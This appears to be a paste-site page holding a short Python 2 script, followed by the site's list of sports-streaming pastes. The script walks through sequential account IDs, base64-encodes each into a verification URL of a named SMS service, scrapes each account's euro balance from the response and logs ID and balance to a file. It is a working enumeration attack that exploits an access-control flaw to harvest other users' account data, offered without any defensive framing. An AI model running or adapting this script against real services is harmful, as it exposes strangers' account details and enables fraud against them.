#!/usr/bin/env python
# -*- coding: utf-8 -*-
import urllib
import urllib2
import re
import base64
from cookielib import Cookie
from cookielib import CookieJar

cookiejar = CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookiejar))
opener.addheaders = [('User-agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.89 Safari/537.36')]
def revisarCuenta(iId):
	try:
		peticion = opener.open("http://www.ismsad.com/verificacion.php?id="+ base64.b64encode(str(iId)))
		datos = peticion.read()
	except urllib2.HTTPError, e:
		datos = e.fp.read()
	saldo = re.findall( r'<a href="usuarioCompraSMS.php"><strong>(.*) \xe2\x82\xac<\/strong>', datos)
	if saldo:
		return str(iId) + ": " +  saldo[0]
	else:
		return None
	
contador = 1
while True:
	cuenta = revisarCuenta(contador)	
	if cuenta:
		f = open('cuentas.txt', 'a')
		print >> f, cuenta
		f.close()
	contador = contador + 1

comments powered by Disqus
TitleTime
Augsburg vs Werder Bremen...12 minutes
Watch live Delhi Capitals...47 minutes
Watch Collins - Cristian ...1 hour
Watch West Ham v Liverpoo...1 hour
Stream online Paderborn v...1 hour
Streaming live West Ham -...1 hour
Watch Brescia - Spezia li...1 hour

© Paste4BTC 2014 - Earn bitcoins by pasting! | My pastes | Popular pastes | New pastes | Payments | FAQ | Terms of Service